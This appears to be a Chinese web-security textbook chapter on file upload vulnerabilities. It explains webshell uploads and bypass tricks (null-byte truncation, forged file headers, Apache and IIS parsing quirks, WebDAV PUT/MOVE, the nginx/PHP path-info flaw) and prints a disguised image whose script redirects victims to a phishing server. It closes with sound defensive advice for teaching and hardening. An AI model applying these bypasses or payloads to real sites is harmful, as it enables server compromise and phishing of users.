文件上传漏洞

文件上传是互联网应用中的一个常见功能,它是如何成为漏洞的?在什么条件下会成为漏洞?本章将揭开答案。

文件上传漏洞概述

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,有时候几乎没有什么技术门槛。

在互联网中,我们经常用到文件上传功能,比如上传一张自定义的图片;分享一段视频或者照片;论坛发帖时附带一个附件;在发送邮件时附带附件,等等。

文件上传功能本身是一个正常业务需求,对于网站来说,很多时候也确实需要用户将文件上传到服务器。所以“文件上传”本身没有问题,但有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

文件上传后导致的常见安全问题一般有:

上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;

上传文件是Flash的策略文件crossdo-main.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);

上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;

上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。

除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)”执行此脚本;等等。此类问题不在此细述。

在大多数情况下,文件上传漏洞一般都是指“上传Web脚本能够被服务器解析”的问题,也就是通常所说的webshell的问题。要完成这个攻击,要满足如下几个条件:

首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。

其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法使得Web容器解释这个脚本,那么也不能称之为漏洞。

最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。

从FCKEditor文件上传漏洞谈起

下面看一个文件上传漏洞的案例。

FCKEditor是一款非常流行的富文本编辑器,为了方便用户,它带有一个上传文件功能,但是这个功能却出过许多次漏洞。

FCKEditor针对ASP/PHP/JSP等环境都有对应的版本,以PHP为例,其文件上传功能在:

1 2 3 4 5
http://www.xxx.com/path/FCKeditor/editor/ filemanager/browser/default/browser.html?Typ e=all&Connector=connectors/php/connector.php

FCKEditor的文件上传界面

用户打开这个页面,就可以使用此功能将任意文件上传到服务器。文件上传后,会保存在/User-Files/all/目录下。

在存在漏洞的版本中,是通过检查文件的后缀来确定是否安全的。代码如下:

 1  2  3  4  5  6  7  8  9 10 11
$Config['AllowedExtensions']['File'] = array() ; //允许上传的类型 $Config['DeniedExtensions']['File'] = array('php','php3','php5','phtml','asp','aspx ','ascx','jsp','cfm','cfc','pl','bat','e xe','dll','reg','cgi') ;//禁止上传的类型

这段代码是以黑名单的方式限制上传文件的类型。黑名单与白名单的问题,我们在第1章中就有过论述,黑名单是一种非常不好的设计思想。

以这个黑名单为例,如果我们上传后缀为php2、php4、inc、pwml、asa、cer等的文件,都可能导致发生安全问题。

由于FCKEditor一般是作为第三方应用集成到网站中的,因此文件上传的目录一般默认都会被Web容器所解析,很容易形成文件上传漏洞。很多开发者在使用FCKEditor时,可能都不知道它存在一个文件上传功能,如果不是特别需要,建议删除FCKEditor的文件上传代码,一般情况下也用不到它。

绕过文件上传检查功能

在针对上传文件的检查中,很多应用都是通过判断文件名后缀的方法来验证文件的安全性的。但是在某些时候,如果攻击者手动修改了上传过程的POST包,在文件名后添加一个%00字节,则可以截断某些函数对文件名的判断。因为在许多语言的函数中,比如在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符。受此影响的环境有Web应用和一些服务器。比如应用原本只允许上传JPG图片,那么可以构造文件名(需要修改POST包)为xxx.php[\0].JPG,其中[\0]为十六进制的0x00字符,.JPG绕过了应用的上传文件类型判断;但对于服务器端来说,此文件因为0字节截断的关系,最终却会变成xxx.php。%00字符截断的问题不只在上传文件漏洞中有所利用,因为这是一个被广泛用于字符串处理函数的保留字符,因此在各种不同的业务逻辑中都可能出现问题,需要引起重视。

除了常见的检查文件名后缀的方法外,有的应用,还会通过判断上传文件的文件头来验证文件的类型。

比如一个JPG文件,其文件头是:

JPG文件的文件头

在正常情况下,通过判断前10个字节,基本上就能判断出一个文件的真实类型。

浏览器的MIME Sniff功能实际上也是通过读取文件的前256个字节,来判断文件的类型的。

因此,为了绕过应用中类似MIME Sniff的功能,常见的攻击技巧是伪造一个合法的文件头,而将真实的PHP等脚本代码附在合法的文件头之后,比如:

隐藏在JPG文件中的PHP代码

但此时,仍需要通过PHP来解释此图片文件才行。

如下情况,因为Web Server将此文件名当做PHP文件来解析,因此PHP代码会执行;若上传文件后缀是.JPG,则Web Server很有可能会将此文件当做静态文件解析,而不会调用PHP解释器,攻击的条件无法满足。

phpinfo()页面

在某些特定环境下,这个伪造文件头的技巧可以收到奇效。

功能还是漏洞

在文件上传漏洞的利用过程中,攻击者发现一些和Web Server本身特性相关的功能,如果加以利用,就会变成威力巨大的武器。这往往是因为应用的开发者没有深入理解Web Server的细节所导致的。

Apache文件解析问题

比如在Apache 1.x、2.x中,对文件名的解析就存在以下特性。

Apache对于文件名的解析是从后往前解析的,直到遇见一个Apache认识的文件类型为止。比如:

1
Phpshell.php.rar.rar.rar.rar.rar

因为Apache不认识.rar这个文件类型,所以会一直遍历后缀到.php,然后认为这是一个PHP类型的文件。

那么Apache怎么知道哪些文件是它所认识的呢?这些文件类型定义在Apache的mime.types文件中。

Apache httpd server的mime.types文件

Apache的这个特性,很多工程师在写应用时并不知道,即便知道,可能有的工程师也会认为这是Web Server该负责的事情。如果不考虑这些因素,写出的安全检查功能可能就会存在缺陷。比如.rar是一个合法的上传需求,在应用里只判断文件的后缀是否是.rar,最终用户上传的是php-shell.php.rar.rar.rar,从而导致脚本被执行。

如果要指定一个后缀作为PHP文件解析,在Apache的官方文档里是这样描述的:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
Tell Apache to parse certain extensions as PHP. For example, let's have Apache parse .php files as PHP. Instead of only using the Apache AddType directive, we want to avoid potentially dangerous uploads and created files such as exploit.php.jpg from being executed as PHP. Using this example, you could have any extension(s) parse as PHP by simply adding them. We'll add .phtml to demonstrate. <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch>

IIS文件解析问题

IIS 6在处理文件解析时,也出过一些漏洞。前面提到的0x00字符截断文件名,在IIS和Win-dows环境下曾经出过非常类似的漏洞,不过截断字符变成了分号“;”。

当文件名为abc.asp;xx.jpg时,IIS 6会将此文件解析为abc.asp,文件名被截断了,从而导致脚本被执行。比如:

1
http://www.target.com/path/xyz.asp;abc.jpg

会执行xyz.asp,而不会管abc.jpg

除此漏洞外,在IIS 6中还曾经出过一个漏洞——因为处理文件夹扩展名出错,导致将/*.asp/目录下的所有文件都作为ASP文件进行解析。比如:

1
http://www.target.com/path/xyz.asp/abc.jpg

这个abc.jpg,会被当做ASP文件进行解析。

注意这两个IIS的漏洞,是需要在服务器的本地硬盘上确实存在这样的文件或者文件夹,若只是通过Web应用映射出来的URL,则是无法触发的。

这些历史上存在的漏洞,也许今天还能在互联网中找到不少未修补漏洞的网站。

谈到IIS,就不得不谈在IIS中,支持PUT功能所导致的若干上传脚本问题。

PUT是在WebDav中定义的一个方法。Web-Dav大大扩展了HTTP协议中GET、POST、HEAD等功能,它所包含的PUT方法,允许用户上传文件到指定的路径下。

在许多Web Server中,默认都禁用了此方法,或者对能够上传的文件类型做了严格限制。但在IIS中,如果目录支持写权限,同时开启了WebDav,则会支持PUT方法,再结合MOVE方法,就能够将原本只允许上传文本文件改写为脚本文件,从而执行webshell。MOVE能否执行成功,取决于IIS服务器是否勾选了“脚本资源访问”复选框

一般要实施此攻击过程,攻击者应先通过OP-TIONS方法探测服务器支持的HTTP方法类型,如果支持PUT,则使用PUT上传一个指定的文本文件,最后再通过MOVE改写为脚本文件。

第一步:通过OPTIONS探测服务器信息。

返回:

第二步:上传文本文件。

返回:

成功创建文件。

第三步:通过MOVE改名。

返回:

修改成功。

国内的安全研究者zwell曾经写过一个自动化的扫描工具“IIS PUT Scanner”,以帮助检测此类问题。

从攻击原理看,PUT方法造成的安全漏洞,都是由于服务器配置不当造成的。WebDav给管理员带来了很多方便,但如果不能了解安全的风险和细节,则等于向黑客敞开了大门。

PHP CGI路径解析问题

2010年5月,国内的安全组织80sec发布了一个Nginx的漏洞,指出在Nginx配置fastcgi使用PHP时,会存在文件类型解析问题,这将给上传漏洞大开方便之门。

后来人们发现早在2010年1月时,在PHP的bug tracker上就有人分别在PHP 5.2.12和PHP5.3.1版本下提交了这一bug。

PHP官方对此bug的描述

并同时给出了一个第三方补丁。

可是PHP官方认为这是PHP的一个产品特性,并未接受此补丁。

PHP官方对此bug的回复

这个漏洞是怎么一回事呢?其实可以说它与Nginx本身关系不大,Nginx只是作为一个代理把请求转发给fastcgi Server,PHP在后端处理这一切。因此在其他的fastcgi环境下,PHP也存在此问题,只是使用Nginx作为Web Server时,一般使用fastcgi的方式调用脚本解释器,这种使用方式最为常见。

这个问题的外在表现是,当访问

1
http://www.xxx.com/path/test.jpg/notexist.php

时,会将test.jpg当做PHP进行解析。Notex-ist.php是不存在的文件。

注:Nginx的参考配置如下。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts $fastcgi_script_name; include fastcgi_params; }

试想:如果在任何配置为fastcgi的PHP应用里上传一张图片(可能是头像,也可能是论坛里上传的图片等),其图片内容是PHP文件,则将导致代码执行。其他可以上传的合法文件如文本文件、压缩文件等情况类似。

出现这个漏洞的原因与“在fastcgi方式下,PHP获取环境变量的方式”有关。

PHP的配置文件中有一个关键的选项:cgi.fix_pathinfo,这个选项默认是开启的:

1
cgi.fix_pathinfo = 1

在官方文档中对这个配置的说明如下:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
; cgi.fix_pathinfo provides *real* PATH_INFO/ PATH_TRANSLATED support for CGI. PHP's ; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok ; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting ; this to 1 will cause PHP CGI to fix it's paths to conform to the spec. A setting ; of zero causes PHP to behave as before. Default is 1. You should fix your scripts ; to use SCRIPT_FILENAME rather than PATH_TRANSLATED. cgi.fix_pathinfo=1

在映射URI时,两个环境变量很重要:一个是PATH_INFO,一个是SCRIPT_FILENAME。

在上面的例子中:

1
PATH_INFO = notexist.php

这个选项为1时,在映射URI时,将递归查询路径确认文件的合法性。notexist.php是不存在的,所以将往前递归查询路径,此时触发的逻辑是:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
/* * if the file doesn't exist, try to extract PATH_INFO out * of it by stat'ing back through the '/' * this fixes url's like /info.php/test */ if (script_path_translated && (script_path_translated_len = strlen(script_path_translated)) > 0 && (script_path_translated[script_path_translate d_len-1] == '/' || ....//以下省略.

这个往前递归的功能原本是想解决/info.php/test这种URL,能够正确地解析到 info.php上。

此时SCRIPT_FILENAME需要检查文件是否存在,所以会是/path/test.jpg。而PATH_INFO此时还是notexist.php,在最终执行时,test.jpg会被当做PHP进行解析。

PHP官方给出的建议是将cgi.fix_pathinfo 设置为0,但可以预见的是,官方的消极态度在未来仍然会使得许许多多的“不知情者”遭受损失。

利用上传文件钓鱼

前面讲到Web Server的一些“功能”可能会被攻击者利用,绕过文件上传功能的一些安全检查,这是服务器端的事情。但在实际环境中,很多时候服务器端的应用,还需要为客户端买单。

钓鱼网站在传播时,会通过利用XSS、服务器端302跳转等功能,从正常的网站跳转到钓鱼网站。不小心的用户,在一开始,看到的是正常的域名,如下是一个利用服务器端302跳转功能的钓鱼URL:

1 2 3 4 5 6 7 8 9
http://member1.taobao.com/member/ login.jhtml? redirect_url=http://iten.taobao.avcvtion .com/auction/item_detail.asp? id=1981&a283d5d7c9443d8.jhtml?cm_cat=0

但这种钓鱼,仍然会在URL中暴露真实的钓鱼网站地址,细心点的用户可能不会上当。

而利用文件上传功能,钓鱼者可以先将包含了HTML的文件(比如一张图片)上传到目标网站,然后通过传播这个文件的URL进行钓鱼,则URL中不会出现钓鱼地址,更具有欺骗性。

比如下面这张图片:

1 2 3
http://tech.simba.taobao.com/wp-content/ uploads/2011/02/item.jpg?1_117

它的实际内容是:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
png <script language="javascript"> var c=window.location.tostring(); if(c.indexof("?")!=-1){ var i=c.split("?")[1]; if(i.split("_")[0]==1){ location.href='http://208.43.120.4../Images/ iteme.asp?id='+i.split("_")[1]; }else{ location.href='http://208.43.120.4../Images/ iteme.asp?id='+i.split("_")[1]; } } </script>

其中,png是伪造的文件头,用于绕过上传时的文件类型检查;接下来就是一段脚本,如果被执行,将控制浏览器跳向指定的网站,在此是一个钓鱼网站。

骗子在传播钓鱼网站时,只需要传播合法图片的URL:

1 2 3
http://tech.simba.taobao.com/wp-content/ uploads/2011/02/item.jpg?1_117

在正常情况下,浏览器是不会将jpg文件当做HTML执行的,但是在低版本的IE中,比如IE 6和IE 7,包括IE 8的兼容模式,浏览器都会“自作聪明”地将此文件当做HTML执行。这个问题在很早以前就被用来制作网页木马,但微软一直认为这是浏览器的特性,直到IE 8中有了增强的MIMESniff,才有所缓解。

从网站的角度来说,它似乎是无辜的受害者,但面临具体业务场景时,不得不多多考虑此类问题。

关于钓鱼的问题,我们将在后续章节“互联网业务安全”中再深入讨论。

设计安全的文件上传功能

讲了这么多文件上传方面的问题,那么如何才能设计出安全的、没有缺陷的文件上传功能呢?

本章一开始就提到,文件上传功能本身并没错,只是在一些条件下会被攻击者利用,从而成为漏洞。根据攻击的原理,笔者结合实际经验总结了以下几点。

文件上传的目录设置为不可执行

只要Web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此此点至关重要。在实际应用中,很多大型网站的上传应用,文件上传后会放到独立的存储上,做静态文件处理,一方面方便使用缓存加速,降低性能损耗;另一方面也杜绝了脚本执行的可能。但是对于一些边边角角的小应用,如果存在文件上传功能,则仍需要多加关注。

判断文件类型

在判断文件类型时,可以结合使用MIMEType、后缀检查等方式。在文件类型检查中,强烈推荐白名单的方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

使用随机数改写文件名和文件路径

文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用使用随机数改写了文件名和路径,将极大地增加攻击的成本。与此同时,像shell.php.rar.rar这种文件,或者是crossdo-main.xml这种文件,都将因为文件名被改写而无法成功实施攻击。

单独设置文件服务器的域名

由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含JavaScript的XSS利用等问题将得到解决。但能否如此设置,还需要看具体的业务环境。

文件上传问题,看似简单,但要实现一个安全的上传功能,殊为不易。如果还要考虑到病毒、木马、色情图片与视频、反动政治文件等与具体业务结合更紧密的问题,则需要做的工作就更多了。不断地发现问题,结合业务需求,才能设计出最合理、最安全的上传功能。

小结

在本章中,我们介绍了Web安全中的文件上传漏洞。文件上传本来是一个正常的功能,但黑客们利用这个功能就可以跨越信任边界。如果应用缺乏安全检查,或者安全检查的实现存在问题,就极有可能导致严重的后果。

文件上传往往与代码执行联系在一起,因此对于所有业务中要用到的上传功能,都应该由安全工程师进行严格的检查。同时文件上传又可能存在诸如钓鱼、木马病毒等危害到最终用户的业务风险问题,使得我们在这一领域需要考虑的问题越来越多。

浙ICP备11005866号-12